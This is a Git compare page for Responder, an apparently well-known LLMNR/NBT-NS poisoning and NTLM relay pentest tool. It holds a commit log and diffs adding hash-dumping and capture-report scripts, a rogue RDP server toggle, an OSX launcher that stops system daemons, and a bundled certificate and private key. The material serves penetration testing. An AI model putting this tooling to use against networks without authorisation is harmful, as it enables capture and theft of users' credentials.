Compare commits

..

83 Commits

Author SHA1 Message Date
lgandx
c52843a535 Added RDP rogue server 2019-08-17 16:31:34 -03:00
lgandx
88e316c9a3 Merge pull request #91 from cnotin/patch-1
FindSMB2UPTime: properly deal with servers not disclosing their boot time
2019-05-26 11:05:49 -03:00
lgandx
e1d1657dff Merge pull request #92 from Crypt0-M3lon/master
Fix socket timeout on HTTP POST requests
2019-05-26 11:04:48 -03:00
Crypt0-M3lon
32be7a1853 Merge pull request #1 from Crypt0-M3lon/Crypt0-M3lon-patch-1
Fix socket timeout on HTTP POST requests
2019-02-08 09:08:49 +01:00
Crypt0-M3lon
e7a787cbc4 Fix socket timeout on HTTP POST requests
Remaining size should be checked at the end of the loop, the current implementation hang when POST request Content-Lenght is 0.
We want to check for Content-Length header only if we received full header.
2019-02-08 09:08:24 +01:00
Clément Notin
80aa964294 FindSMB2UPTime: properly deal with servers not disclosing their boot time 2019-02-04 11:46:08 +01:00
lgandx
7339411766 Enhanced flags2 to force SMB signature off 2019-01-15 16:18:47 -03:00
lgandx
9656f140e7 Merge pull request #89 from cnotin/patch-1
Replace ParseSMB2NTLMv2Hash() by ParseSMBHash() to handle NTLMv1 and NTLMv2
2019-01-13 11:21:24 -03:00
Clément Notin
c99c9edf19 Replace ParseSMB2NTLMv2Hash() by ParseSMBHash() to handle NTLMv1 and NTLMv2 2019-01-09 19:16:52 +01:00
lgandx
38e721da98 fixed minor bugfix on recent merge 2018-11-28 21:07:39 -03:00
lgandx
fab7ba9e6e Merge pull request #88 from PaulSec/master
Added proper changes to RunFinger
2018-11-28 20:40:51 -03:00
Paul A
105502edd4 Added proper changes to RunFinger (and is not checking for MS17-010 straight away) 2018-11-18 12:41:15 +01:00
lgandx
be551a0db3 Merge pull request #85 from mdeous/multirelay-exclude-user
[MultiRelay] allow to blacklist users
2018-11-11 09:51:04 -03:00
lgandx
4b5da9d7ce Merge pull request #86 from mschader/patch-1
Update README.md: Fix typo
2018-11-11 09:49:23 -03:00
lgandx
47e63ae4ec removed debug string 2018-11-11 09:46:15 -03:00
Markus
2287f936fd Update README.md: Fix typo
Fixed just a tiny typo.
2018-10-22 15:54:06 +02:00
MatToufoutu
4e70e95a8e allow to blacklist users 2018-09-14 00:19:17 +02:00
lgandx
a256355468 Merge pull request #46 from jackassplus/patch-1
Create OSX_launcher.sh
2018-08-24 15:16:00 -03:00
lgandx
dd39ee0c3d Merge pull request #69 from EuanKerr/patch-1
Update RunFinger.py
2018-08-24 15:14:29 -03:00
lgandx
861c797eb5 Merge pull request #80 from myst404/master
Better handling of cleartext credentials
2018-08-24 15:13:39 -03:00
lgandx
6916b085ec Merge pull request #83 from cnotin/patch-2
Fix multi HTTP responses
2018-08-24 14:34:53 -03:00
lgandx
6037d98160 Merge pull request #82 from cnotin/patch-1
Fix version number in settings.py
2018-08-24 14:34:15 -03:00
Clément Notin
defabfa543 Fix multi HTTP responses 2018-08-17 15:45:13 +02:00
Clément Notin
621c5a3c12 Fix version number in settings.py 2018-08-17 11:51:18 +02:00
myst404
750a2466d9 Better handling of cleartext credentials 2018-06-18 10:59:52 +02:00
lgandx
242bc37997 Merge pull request #71 from myst404/master
FindSMB2UPTime.py : Subnet support, error handling, minor improvements
2018-05-28 20:02:44 -03:00
lgandx
fe53785eec Merge pull request #72 from chrismaddalena/master
Fixed some small typos in MS17-010 output
2018-05-28 20:01:44 -03:00
Chris Maddalena
daaf6f7296 Fixed some small typos in MS17-010 output 2017-12-05 17:31:27 -05:00
myst404
97aeac26d8 Subnet support, error handling, minor improvements 2017-11-30 16:05:14 +01:00
Euan
064f7e62c7 Update RunFinger.py 2017-11-20 12:38:54 +00:00
lgandx
c6bc263b5e Merge pull request #51 from watersalesman/master
Fixed instances of "CRTL-C" to "CTRL-C"
2017-11-20 07:35:33 -03:00
lgandx
46cd888d15 Merge pull request #63 from myst404/master
Fixed space typo in FindSMB2UPTime.py
2017-11-20 07:32:49 -03:00
lgandx
a5a328b8c9 Merge pull request #67 from lprat/master
Add ignore case on check body for html inject
2017-11-20 07:31:52 -03:00
lgandx
b37f56264a Added: check for null sessions and MS17-010 2017-11-19 22:58:28 -03:00
Lionel PRAT
47c311553e Add ignore case on check body for html inject 2017-11-16 16:31:18 +01:00
lgandx
207b0d455c added support for plain auth 2017-09-06 02:07:41 -03:00
lgandx
679cf65cff Changed the complete LDAP parsing hash algo (ntlmv2 bug). 2017-09-04 23:15:27 -03:00
lgandx
be26b504b5 Fixed various bugs and improved the LDAP module. 2017-09-04 21:57:51 -03:00
lgandx
75aa21bbb9 Several Bugfix 2017-09-04 18:50:04 -03:00
myst404
11c00969c3 Fixed space typo in FindSMB2UPTime.py 2017-08-28 18:37:34 +02:00
lgandx
ffca0e2a92 Merge pull request #61 from OJ/fix-ldap-hash-parsing
Pass Challenge value to the LDAP parsing function
2017-08-24 22:00:10 -03:00
OJ
33bde41902 Pass Challenge value to the LDAP parsing function 2017-08-25 09:03:01 +10:00
lgandx
95c0d6e673 Merge pull request #58 from megabug/mssql-browser
Add Microsoft SQL Server Browser responder
2017-07-15 13:23:08 -03:00
lgandx
0436b47a2c Merge pull request #59 from breakersall/patch-2
Add in check for uptime since March 14th 2017, which could indicate t…
2017-07-15 13:19:53 -03:00
Matt Kelly
5859c31e8e Add in check for uptime since March 14th 2017, which could indicate the system is vulnerable to MS17-010
Add in check for uptime since March 14th 2017, which could indicate the system is vulnerable to MS17-010 (EternalBlue/dismay style exploit)
2017-06-28 14:09:05 -05:00
Matthew Daley
bc90f8fe27 Update README.md with new SQL Browser port usage 2017-06-28 19:15:07 +12:00
Matthew Daley
bff935e71e Add Microsoft SQL Server Browser responder
When connecting to a named instance, a SQL client (at least SQL Server
Native Client) will send a request (namely a CLNT_UCAST_INST message) to
the server's SQL Server Browser service for instance connection
information. If it gets no response, the connection attempt fails.

By adding a SQL Server Browser responder for these requests, we ensure
that connections are successfully made to the SQL Server responder for
hash capture.

As per the comment, this is based on the document "[MC-SQLR]: SQL Server
Resolution Protocol", currently available at
<https://msdn.microsoft.com/en-us/library/cc219703.aspx>.
2017-06-28 19:14:38 +12:00
Randy Ramos
44a4e495cc Fixed instances of "CRTL-C" to "CTRL-C" 2017-04-22 14:40:19 -04:00
lgandx
38219e249e added: mimi32 cmd, MultiRelay random RPC & Namedpipe & latest mimikatz 2017-03-30 23:39:41 -03:00
lgandx
2223ef6689 updated readme 2017-03-29 14:24:17 -03:00
lgandx
2a80c7ed9c MultiRelay 2.0 Release 2017-03-29 13:28:31 -03:00
jackassplus
54389c4851 Create OSX_launcher.sh
Launcher helper for OSX. 

Checks for running LaunchDaemons using one of responder's ports and unloads them one by one, placing them on a stack to be restarted when responder is killed.
2017-03-27 08:10:33 -07:00
lgandx
b05bdcab96 Removed Paypal donation link. 2017-03-15 19:15:46 -03:00
lgandx
6f3cc4564c Fixed bug in FindSMB2UPTime 2017-03-08 00:01:38 +01:00
lgandx
2b322b227e minor fix 2017-02-18 20:57:36 +01:00
lgandx
9440cb3e30 Merge branch 'master' of https://github.com/lgandx/Responder 2017-02-18 20:40:01 +01:00
lgandx
21d48be98f Added: Hashdump, Stats report 2017-02-18 20:38:40 +01:00
lgandx
c9609bd8c6 Merge pull request #25 from joshuaskorich/master
added `ip` commands in addition to ifconfig and netstat
2017-02-10 22:03:46 +01:00
lgandx
0642999741 fixed crash: typo. 2017-02-10 18:18:23 +01:00
lgandx
5f59f2934e Merge pull request #33 from skelsec/master
Fixing HTTP header issue
2017-02-09 22:40:28 +01:00
skelsec
225857b6ed cleaning up comments 2017-02-06 10:48:23 -08:00
skelsec
2c32704b85 SimpleSSL 2017-02-06 09:42:35 -08:00
skelsec
0e3e6f9745 making HTTP great again 2017-02-06 09:21:44 -08:00
lgandx
0ede767d95 Merge pull request #32 from Gifts/fix_randchallenge
Fix for RandomChallenge function.
2017-02-01 22:32:13 +01:00
Gifts
de6e869a79 Fix for RandomChallenge function. Function getrandbits can return less than 64 bits, thus decode('hex') will crash with TypeError: Odd-length string 2017-02-01 16:55:15 +03:00
lgandx
cf654ee178 Merge pull request #28 from kithack/master
Fix Proxy_Auth. Random challenge broke it.
2017-01-19 22:31:52 +01:00
Timon Hackenjos
5a2ee18bfa Fix Proxy_Auth. Random challenge broke it. 2017-01-19 17:46:21 +01:00
thejosko
db61f243c9 added ip commands in addition to ifconfig and netstat 2017-01-11 17:35:08 -06:00
lgandx
0d441d1899 Added: Random challenge for each requests (default) 2017-01-03 17:40:38 -03:00
lgandx
1d38cd39af Added: Random challenge for each requests (default) 2017-01-03 17:35:49 -03:00
lgandx
17dc81cb68 Added paypal button 2016-12-21 11:53:33 -03:00
lgandx
ab2d8907f0 Added: Scripting support. -c and -d command line switch 2016-11-18 11:55:16 -03:00
lgandx
730808c83c Added: BTC donation address 2016-11-12 12:28:13 -03:00
lgandx
b455ff406f re-fixed Typo 2016-11-10 14:28:16 -03:00
lgandx
aff17ca9d3 MultiRelay now executes WMIC commands instead of bat files 2016-11-10 14:24:54 -03:00
lgandx
62d7dc4080 Merge pull request #18 from trustedsec/patch-1
Update RelayMultiCore.py
2016-11-10 10:57:18 -03:00
trustedsec
cad3adc319 Update RelayMultiCore.py
Minor typo fixes, nothing major.
2016-11-10 14:13:13 +01:00
lgandx
fc2aadca6e Minor fix 2016-11-09 14:12:37 -03:00
lgandx
90071187cd Merge pull request #17 from leonjza/master
Check if the platform is macOS before setting TCP_KEEPIDLE
2016-11-02 11:18:10 -03:00
Leon Jacobs
bcac8c4166 Check if the platform is macOS before trying to set a non-exported
TCP_KEEPIDLE option
2016-11-02 09:25:37 +02:00
lgandx
4a7499df03 Removed ThreadingMixIn. MultiRelay should process one request at the timeand queue the next ones. 2016-10-20 23:43:34 -03:00
lgandx
581d7e6849 Merge pull request #14 from nvssks/master
Patch for Android 4.x terminals that are missing some linux commands
2016-10-20 01:03:10 -03:00
Nikos Vassakis
f321c1bbcc Patch for Android 4.x terminals that are missing some linux commands 2016-10-19 18:24:12 +01:00
37 changed files with 3019 additions and 670 deletions

49
DumpHash.py Executable file
View File

@@ -0,0 +1,49 @@
#!/usr/bin/env python
# This file is part of Responder, a network take-over set of tools
# created and maintained by Laurent Gaffie.
# email: laurent.gaffie@gmail.com
# This program is free software: you can redistribute it and/or modify
# it under the terms of the GNU General Public License as published by
# the Free Software Foundation, either version 3 of the License, or
# (at your option) any later version.
#
# This program is distributed in the hope that it will be useful,
# but WITHOUT ANY WARRANTY; without even the implied warranty of
# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
# GNU General Public License for more details.
#
# You should have received a copy of the GNU General Public License
# along with this program. If not, see <http://www.gnu.org/licenses/>.
import sqlite3
def DumpHashToFile(outfile, data):
with open(outfile,"w") as dump:
dump.write(data)
def DbConnect():
cursor = sqlite3.connect("./Responder.db")
return cursor
def GetResponderCompleteNTLMv2Hash(cursor):
res = cursor.execute("SELECT fullhash FROM Responder WHERE type LIKE '%v2%' AND UPPER(user) in (SELECT DISTINCT UPPER(user) FROM Responder)")
Output = ""
for row in res.fetchall():
Output += '{0}'.format(row[0])+'\n'
return Output
def GetResponderCompleteNTLMv1Hash(cursor):
res = cursor.execute("SELECT fullhash FROM Responder WHERE type LIKE '%v1%' AND UPPER(user) in (SELECT DISTINCT UPPER(user) FROM Responder)")
Output = ""
for row in res.fetchall():
Output += '{0}'.format(row[0])+'\n'
return Output
cursor = DbConnect()
print "Dumping NTLMV2 hashes:"
v2 = GetResponderCompleteNTLMv2Hash(cursor)
DumpHashToFile("DumpNTLMv2.txt", v2)
print v2
print "\nDumping NTLMv1 hashes:"
v1 = GetResponderCompleteNTLMv1Hash(cursor)
DumpHashToFile("DumpNTLMv1.txt", v1)
print v1

39
OSX_launcher.sh Normal file
View File

@@ -0,0 +1,39 @@
# responder launcher
# set -x
# Usage:
# ./responderd /path/to/responder interface responder_options
# port list
# Everything -> tcp:21 tcp:80 tcp:25 udp:53 tcp:88 udp:137 udp:138 tcp:139 tcp:143 tcp:443 tcp:445 tcp:110 tcp:389 tcp:1433 tcp:3141 udp:5353 udp:5355
PORT_LIST=(tcp:21 udp:53 tcp:88 udp:137 udp:138 tcp:139 tcp:143 tcp:445 tcp:389 tcp:1433 udp:5353 udp:5355)
SVC_LIST=()
# check for running processes and kill them one by one
# looping over everything rather than doing a mass kill because some processes may be
# children and may not need to be killed
for port in ${PORT_LIST[@]}; do
PROC=$(lsof +c 0 -i $port | grep -m 1 -v 'launchd\|COMMAND' | cut -d' ' -f1)
if [ -n "$PROC" ]; then
AGENT=$(sudo launchctl list | grep -m 1 $PROC | cut -f3 | sed 's/.reloaded//g')
# load/unload are listed as "legacy" in 10.10+ may need to change this someday
echo "Stopping $PROC"
sudo launchctl unload -w /System/Library/LaunchDaemons/$AGENT.plist
# append killed service to new array
SVC_LIST+=($AGENT)
fi
done
# get IP address
IP=$(ifconfig $2 | grep 'inet ' | cut -d' ' -f2)
# Launch responder
python $1 $3 -i $IP
# restore stopped services
for agent in ${SVC_LIST[@]}; do
echo "Starting $agent"
sudo launchctl load -w /System/Library/LaunchDaemons/$agent.plist
done

View File

@@ -1,6 +1,6 @@
# Responder.py #
# Responder/MultiRelay #
LLMNR/NBT-NS/mDNS Poisoner
LLMNR/NBT-NS/mDNS Poisoner and NTLMv1/2 Relay.
Author: Laurent Gaffie <laurent.gaffie@gmail.com > https://g-laurent.blogspot.com
@@ -80,7 +80,7 @@ All hashes are printed to stdout and dumped in an unique file John Jumbo complia
Log files are located in the "logs/" folder. Hashes will be logged and printed only once per user per hash type, unless you are using the Verbose mode (-v).
- Responder will logs all its activity to Responder-Session.log
- Responder will log all its activity to Responder-Session.log
- Analyze mode will be logged to Analyze-Session.log
- Poisoning will be logged to Poisoners-Session.log
@@ -89,7 +89,7 @@ Additionally, all captured hashed are logged into an SQLite database which you c
## Considerations ##
- This tool listens on several ports: UDP 137, UDP 138, UDP 53, UDP/TCP 389,TCP 1433, TCP 80, TCP 139, TCP 445, TCP 21, TCP 3141,TCP 25, TCP 110, TCP 587, TCP 3128 and Multicast UDP 5553.
- This tool listens on several ports: UDP 137, UDP 138, UDP 53, UDP/TCP 389,TCP 1433, UDP 1434, TCP 80, TCP 139, TCP 445, TCP 21, TCP 3141,TCP 25, TCP 110, TCP 587, TCP 3128 and Multicast UDP 5553.
- If you run Samba on your system, stop smbd and nmbd and all other services listening on these ports.
@@ -162,15 +162,37 @@ Options:
-v, --verbose Increase verbosity.
## Donation ##
You can contribute to this project by donating to the following BTC address:
1Pv9rZMNfy9hsW19eQhNGs22gY9sf6twjW
## Acknowledgments ##
Late Responder development has been possible because of the donations received from individuals and companies.
We would like to thanks those major donator:
- SecureWorks : https://www.secureworks.com/
- Black Hills Information Security: http://www.blackhillsinfosec.com/
- TrustedSec: https://www.trustedsec.com/
- And all, ALL the pentesters around the world who donated to this project.
Thank you.
## Copyright ##
NBT-NS/LLMNR Responder
Responder, a network take-over set of tools created and maintained by Laurent Gaffie.
email: laurent.gaffie@gmail.com
This program is free software: you can redistribute it and/or modify
it under the terms of the GNU General Public License as published by
the Free Software Foundation, either version 3 of the License, or

95
Report.py Executable file
View File

@@ -0,0 +1,95 @@
#!/usr/bin/env python
# This file is part of Responder, a network take-over set of tools
# created and maintained by Laurent Gaffie.
# email: laurent.gaffie@gmail.com
# This program is free software: you can redistribute it and/or modify
# it under the terms of the GNU General Public License as published by
# the Free Software Foundation, either version 3 of the License, or
# (at your option) any later version.
#
# This program is distributed in the hope that it will be useful,
# but WITHOUT ANY WARRANTY; without even the implied warranty of
# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
# GNU General Public License for more details.
#
# You should have received a copy of the GNU General Public License
# along with this program. If not, see <http://www.gnu.org/licenses/>.
import sqlite3
import os
def color(txt, code = 1, modifier = 0):
if txt.startswith('[*]'):
settings.Config.PoisonersLogger.warning(txt)
elif 'Analyze' in txt:
settings.Config.AnalyzeLogger.warning(txt)
if os.name == 'nt': # No colors for windows...
return txt
return "\033[%d;3%dm%s\033[0m" % (modifier, code, txt)
def DbConnect():
cursor = sqlite3.connect("./Responder.db")
return cursor
def GetResponderData(cursor):
res = cursor.execute("SELECT * FROM Responder")
for row in res.fetchall():
print('{0} : {1}, {2}, {3}, {4}, {5}, {6}, {7}, {8}'.format(row[0], row[1], row[2], row[3], row[4], row[5], row[6], row[7], row[8]))
def GetResponderUsernamesStatistic(cursor):
res = cursor.execute("SELECT COUNT(DISTINCT UPPER(user)) FROM Responder")
for row in res.fetchall():
print color('[+] In total {0} unique user accounts were captured.'.format(row[0]), code = 2, modifier = 1)
def GetResponderUsernames(cursor):
res = cursor.execute("SELECT DISTINCT user FROM Responder")
for row in res.fetchall():
print('User account: {0}'.format(row[0]))
def GetResponderUsernamesWithDetails(cursor):
res = cursor.execute("SELECT client, user, module, type, cleartext FROM Responder WHERE UPPER(user) in (SELECT DISTINCT UPPER(user) FROM Responder) ORDER BY client")
for row in res.fetchall():
print('IP: {0} module: {1}:{3}\nuser account: {2}'.format(row[0], row[2], row[1], row[3]))
def GetResponderCompleteHash(cursor):
res = cursor.execute("SELECT fullhash FROM Responder WHERE UPPER(user) in (SELECT DISTINCT UPPER(user) FROM Responder)")
for row in res.fetchall():
print('{0}'.format(row[0]))
def GetUniqueLookups(cursor):
res = cursor.execute("SELECT * FROM Poisoned WHERE ForName in (SELECT DISTINCT UPPER(ForName) FROM Poisoned) ORDER BY SentToIp, Poisoner")
for row in res.fetchall():
print('IP: {0}, Protocol: {1}, Looking for name: {2}'.format(row[2], row[1], row[3]))
def GetStatisticUniqueLookups(cursor):
res = cursor.execute("SELECT COUNT(*) FROM Poisoned WHERE ForName in (SELECT DISTINCT UPPER(ForName) FROM Poisoned)")
for row in res.fetchall():
print color('[+] In total {0} unique queries were poisoned.'.format(row[0]), code = 2, modifier = 1)
def SavePoisonersToDb(result):
for k in [ 'Poisoner', 'SentToIp', 'ForName', 'AnalyzeMode']:
if not k in result:
result[k] = ''
def SaveToDb(result):
for k in [ 'module', 'type', 'client', 'hostname', 'user', 'cleartext', 'hash', 'fullhash' ]:
if not k in result:
result[k] = ''
cursor = DbConnect()
print color("[+] Generating report...", code = 3, modifier = 1)
print color("[+] Unique lookups ordered by IP:", code = 2, modifier = 1)
GetUniqueLookups(cursor)
GetStatisticUniqueLookups(cursor)
print color("\n[+] Extracting captured usernames:", code = 2, modifier = 1)
GetResponderUsernames(cursor)
print color("\n[+] Username details:", code = 2, modifier = 1)
GetResponderUsernamesWithDetails(cursor)
GetResponderUsernamesStatistic(cursor)
#print color("\n[+] Captured hashes:", code = 2, modifier = 1)
#GetResponderCompleteHash(cursor)

View File

@@ -3,6 +3,7 @@
; Servers to start
SQL = On
SMB = On
RDP = On
Kerberos = On
FTP = On
POP = On
@@ -13,8 +14,9 @@ HTTPS = On
DNS = On
LDAP = On
; Custom challenge
Challenge = 1122334455667788
; Custom challenge.
; Use "Random" for generating a random challenge for each requests (Default)
Challenge = Random
; SQLite Database file
; Delete this file to re-capture previously captured hashes

View File

@@ -62,6 +62,9 @@ settings.Config.ExpandIPRanges()
if settings.Config.AnalyzeMode:
print color('[i] Responder is in analyze mode. No NBT-NS, LLMNR, MDNS requests will be poisoned.', 3, 1)
#Create the DB, before we start Responder.
CreateResponderDb()
class ThreadingUDPServer(ThreadingMixIn, UDPServer):
def server_bind(self):
if OsInterfaceIsSupported():
@@ -238,8 +241,12 @@ def main():
threads.append(Thread(target=serve_thread_tcp, args=('', 80, HTTP,)))
if settings.Config.SSL_On_Off:
from servers.HTTP import HTTPS
threads.append(Thread(target=serve_thread_SSL, args=('', 443, HTTPS,)))
from servers.HTTP import HTTP
threads.append(Thread(target=serve_thread_SSL, args=('', 443, HTTP,)))
if settings.Config.RDP_On_Off:
from servers.RDP import RDP
threads.append(Thread(target=serve_thread_tcp, args=('', 3389, RDP,)))
if settings.Config.WPAD_On_Off:
from servers.HTTP_Proxy import HTTP_Proxy
@@ -265,8 +272,9 @@ def main():
threads.append(Thread(target=serve_thread_tcp, args=('', 88, KerbTCP,)))
if settings.Config.SQL_On_Off:
from servers.MSSQL import MSSQL
from servers.MSSQL import MSSQL, MSSQLBrowser
threads.append(Thread(target=serve_thread_tcp, args=('', 1433, MSSQL,)))
threads.append(Thread(target=serve_thread_udp_broadcast, args=('', 1434, MSSQLBrowser,)))
if settings.Config.FTP_On_Off:
from servers.FTP import FTP

0
certs/gen-self-signed-cert.sh Executable file → Normal file
View File

View File

@@ -1,18 +1,18 @@
-----BEGIN CERTIFICATE-----
MIIC0zCCAbugAwIBAgIJAOQijexo77F4MA0GCSqGSIb3DQEBBQUAMAAwHhcNMTUw
NjI5MDU1MTUyWhcNMjUwNjI2MDU1MTUyWjAAMIIBIjANBgkqhkiG9w0BAQEFAAOC
AQ8AMIIBCgKCAQEAunMwNRcEEAUJQSZDeDh/hGmpPEzMr1v9fVYie4uFD33thh1k
sPET7uFRXpPmaTMjJFZjWL/L/kgozihgF+RdyR7lBe26z1Na2XEvrtHbQ9a/BAYP
2nX6V7Bt8izIz/Ox3qKe/mu1R5JFN0/i+y4/dcVCpPu7Uu1gXdLfRIvRRv7QtnsC
6Q/c6xINEbUx58TRkq1lz+Tbk2lGlmon2HqNvQ0y/6amOeY0/sSau5RPw9xtwCPg
WcaRdjwf+RcORC7/KVXVzMNcqJWwT1D1THs5UExxTEj4TcrUbcW75+vI3mIjzMJF
N3NhktbqPG8BXC7+qs+UVMvriDEqGrGwttPXXwIDAQABo1AwTjAdBgNVHQ4EFgQU
YY2ttc/bjfXwGqPvNUSm6Swg4VYwHwYDVR0jBBgwFoAUYY2ttc/bjfXwGqPvNUSm
6Swg4VYwDAYDVR0TBAUwAwEB/zANBgkqhkiG9w0BAQUFAAOCAQEAXFN+oxRwyqU0
YWTlixZl0NP6bWJ2W+dzmlqBxugEKYJCPxM0GD+WQDEd0Au4pnhyzt77L0sBgTF8
koFbkdFsTyX2AHGik5orYyvQqS4jVkCMudBXNLt5iHQsSXIeaOQRtv7LYZJzh335
4431+r5MIlcxrRA2fhpOAT2ZyKW1TFkmeAMoH7/BTzGlre9AgCcnKBvvGdzJhCyw
YlRGHrfR6HSkcoEeIV1u/fGU4RX7NO4ugD2wkOhUoGL1BS926WV02c5CugfeKUlW
HM65lZEkTb+MQnLdpnpW8GRXhXbIrLMLd2pWW60wFhf6Ub/kGJ5bCUTnXYPRcA3v
u0/CRCN/lg==
MIIC4TCCAcmgAwIBAgIUO+GAjgRhHP9zb1avAb9yg8JyGOgwDQYJKoZIhvcNAQEL
BQAwADAeFw0xOTA4MTYyMjA2MTFaFw0yOTA4MTMyMjA2MTFaMAAwggEiMA0GCSqG
SIb3DQEBAQUAA4IBDwAwggEKAoIBAQDVvbov/KiK+Xbv/bhGQBlgb9eVqIFDtTPd
0ZlLNOhRuHRUbw3XC3q3gPerfSE9ANeFUKfHpSUUA5AU4hjMSBMX1iUVR+OKgzTK
czE4kAJe1ZJpiB8TU6FBapQwOPv9M463BOQQ8lfmX+EWerT+XniMFAmxf8FS7e4/
V7JZbon7uU18fc6H8KxVaNCEM382SpL39zU7qRNVG65Jf4MejJZEk30GMC4m22Fb
to6f/WS1NBk4HMdLClyXZngPY0idCuCZX3KBQvYpS3e1gEBsUPV0fZBz/GnvoE4o
qTia83QJAkjZ0r77/NAptihsXrqB2VDuR6aP5Bf/YFr/U4H9y01lAgMBAAGjUzBR
MB0GA1UdDgQWBBTs2vL9sLFs/p78FXHfgz7Zk8ZEwTAfBgNVHSMEGDAWgBTs2vL9
sLFs/p78FXHfgz7Zk8ZEwTAPBgNVHRMBAf8EBTADAQH/MA0GCSqGSIb3DQEBCwUA
A4IBAQBIYrRgmGhAQr+VmyqSQcxYWW0GWKvGQwz5t1A8AoBe8d3SDb1mb/Lq/POx
jnF67dAifYbTzz6JWsxCFED2UP8OL3oij0dWTfvGO//6nwhVss2Or0WTdxkSQVE4
p4CElQYjvoYYhxuDzO3HsxqHBtxMOT+8fO/07aInxVWEtvmflNo3mxE4P7w6D8g5
v2jZNf8EjTDQOF90kjkGGhTU7j9hRewfxzBZZOvaHA+/XczJ3fARpdYrvtFvvjnH
Da1WjQDQhSLufZYcFrzd4i6pyXQYzevjgHSeFSJt78Hr0BxMkKzLAhsFmS6fiULm
iKqwycWcwlFFUDbwBuOyfbfwjtUf
-----END CERTIFICATE-----

View File

@@ -1,27 +1,27 @@
-----BEGIN RSA PRIVATE KEY-----
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
